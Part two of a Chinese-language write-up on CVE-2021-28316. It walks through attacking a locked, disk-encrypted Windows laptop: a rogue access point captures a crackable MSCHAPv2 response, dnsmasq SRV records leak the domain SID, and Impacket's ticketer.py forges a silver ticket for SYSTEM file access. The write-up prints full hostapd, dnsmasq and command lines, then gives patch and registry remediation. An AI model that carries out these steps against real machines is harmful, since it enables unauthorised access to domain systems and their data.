深入分析CVE-2021-28316漏洞(下)

 

在上一篇文章中,我们为读者详细介绍了CVE-2021-28316漏洞的背景知识,并展示了实现本地提权的过程,在本文中,我们将继续为读者介绍如何恢复HTML哈希值等重要知识点。

(接上文)

恢复NTLM哈希值

然后,攻击者可以将捕获到的这个MSCHAPv2质询响应的哈希值,通过工具chapcrack转换为Cloud Crack格式,并提交给crack.sh服务进行破解。

为了达到演示的目的,在我们的实验中,将使用Impacket的工具secretsdump.py来验证chapcrack输出的K3的前4个字节与计算机账户的NTLM哈希值的后4个字节是否匹配。

作为一个经过身份验证的域用户,我们可以通过多种方式获取域SID。其中,最简单的方法是运行whoami /all命令。

现在,我们已经掌握了为设备上的CIFS服务伪造一个服务票据所需的所有信息。由于我们可以指定服务票据中包含的用户和组SID,这样的话,我们就可以用它来作为具有管理权限的用户来访问CIFS服务了。

为此,我们可以使用Impacket中的工具ticketer.py和下面的命令来完成这个任务。

ticketer.py -nthash c86afa9bd3c7afa9ff31da6af182ddbe -domain-sid S-1-5-21-553012155-822088108-1873906631 -domain INITECH.local -spn cifs/DESKTOP-J5KI5KA.initech.local administrator
export KRB5CCNAME=administrator.ccache

这样的话,使用smbclient,我们就可以访问笔记本电脑的整个文件系统了。

Impacket中的smbexec.py之类的工具为我们提供了一种简便的方法,可以在SYSTEM用户的安全上下文中在主机上执行命令。

在发现可以从锁屏状态下获取质询响应的哈希值之后,攻击者又找到了一些更有趣的攻击情形,例如,攻击启用了全盘加密(FDE)的、处于锁屏状态的笔记本电脑。

但是,为了利用这一漏洞,目前还缺少重要的一环,即域SID。我们需要一种无需先登录到计算机即可恢复它的方法。

 

缺失的一环

在发现这种攻击方法几个月之后,一位客户联系我们,要求对其一台SOE笔记本电脑进行相应的安全测试。他们特别关心的是,如果攻击者能够将魔爪伸向受到BitLocker全盘加密保护的、处于锁屏状态的笔记本电脑上,将会造成多大的损失。

针对这种特定攻击情形,我本人和我的同事Danyal Drew(@DanyalDrew)重新考虑了这个想法,并着手考察是否可以找到一种无需登录计算机即可泄漏域SID的方法。

当加入域的计算机首次访问网络时,将执行许多CLDAP搜索,以识别域控制器上可用的服务。这些消息称为LDAP ping。

这听起来很有希望,因为在此搜索过程中使用的CLDAP查询包含以下信息:

  • DnsDomain
  • Host
  • DnsHostName
  • User
  • DomainSid
  • DomainGuid

我们的初步测试方法是,运行Wireshark捕获并观察无线客户端发出的LDAP DNS请求。

然后,将这些srv-host DNS条目添加到dnsmasq配置中并重新连接客户端后,我们找到了目标内容。

这样,我们现在就获得了入侵处于锁屏状态的笔记本电脑所需的一切。

 

在启用了全盘加密的情况下访问处于锁屏状态的计算机

实际上,这里的恶意AP配置也可用于通过目标设备的锁屏页面捕获质询响应的哈希值并提交给crack.sh服务。

要泄漏域SID,我们需要将笔记本电脑加入攻击者控制的网络;在该网络中,我们将使用攻击者的IP地址响应笔记本电脑发出的所有DNS SRV请求。

这样的话,我们就能够捕获包含域SID和域名的“ LDAP ping”数据包。同样的,我们还需要运行恶意访问点,并强制客户端从锁屏页面进行连接。但是,这次,我们将使用下面的hostapd.conf和hostapd-psk文件创建WPA2-PSK网络,而不是配置访问点以支持PEAP身份验证。

interface=$WIRELESS_INTERFACE_HERE
ssid=Airstrike_WPA
channel=1
auth_algs=1
wpa=3
wpa_psk_file=./hostapd-psk
wpa_key_mgmt=WPA-PSK 
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP

然后,建立一个文件hostapd-psk,用于配置网络的密码。

00:00:00:00:00:00 airstrike

由于我们希望笔记本电脑能够连接到自己的网络,因此,我们还需要使用dnsmasq来运行DHCP和DNS服务器,所需的dnsmasq.conf文件如下所示。

interface=$WIRELESS_INTERFACE_HERE
dhcp-range=10.0.0.10,10.0.0.100,8h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp

接下来,让我们可以为无线适配器分配一个IP地址,并启动DNS/DHCP服务器。

ifconfig $WIRELESS_INTERFACE 10.0.0.1/24 up
dnsmasq -d -C dnsmasq.conf

为了捕获来自笔记本电脑的流量,我们还需要在无线接口上启用tcpdump。

tcpdump -i $WIRELESS_INTERFACE -s 65535 -w $OUT_FILE.pcap

一旦运行上述命令,我们就可以从锁屏页面连接到无线网络,并且会在笔记本电脑上看到从我们的DHCP服务器接收的IP数据包。

需要注意的是,笔记本电脑首次连接时,我们会看到许多无应答的SRV DNS请求。我们需要记录下所有这些内容,并修改dnsmasq.conf文件,以使用无线接入点的IP地址可以响应它们。

interface=$WIRELESS_INTERFACE_HERE
dhcp-range=10.0.0.10,10.0.0.100,8h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp

srv-host=_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.INITECH.local,10.0.0.1,389
srv-host=_ldap._tcp.dc._msdcs.INITECH.local,10.0.0.1,389
srv-host=_ldap._tcp.a3fcc77a-710d-4956-af07-bfa9187b91e9.domains._msdcs.INITECH.local,10.0.0.1,389
srv-host=_ldap._tcp.INITECH.local,10.0.0.1,389

接下来,我们可以断开笔记本电脑与接入点的连接,然后重新连接,并检查新的pcap文件的内容。如果我们过滤的是CLDAP协议的数据包,我们就会发现笔记本电脑试图对攻击者的IP进行LDAP ping。并且,LDAP ping消息的内容将包括活动目录域名、笔记本电脑的主机名和域SID。

现在,我们可以再次使用工具ticketer.py为CIFS服务创建一个白银票据,并使用smbclient进行身份验证,从而获得对设备文件系统的无限制访问权限。

注意:在某些情况下,默认的RID 500帐户在加入域的主机上并不具有本地管理员权限。在这种情况下,可以通过暴力搜索方法:不断递增白银票据中的RID,直到发现有效帐户为止。

 

补救措施

这个安全问题已报告给Microsoft安全响应中心,并且已在2021年4月的最新安全更新中得到修复。

作为进一步的加强措施,我们可以通过以下组策略设置,禁用从锁屏页面访问网络选择UI的功能:

Computer Configuration | Administrative Templates | System | Logon --> Do not display network selection UI

此外,我们也可以通过配置注册表,启用DontDisplayNetworkSelectionUI标志来实现上述目的:

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System]
"DontDisplayNetworkSelectionUI"=dword:00000001
(完)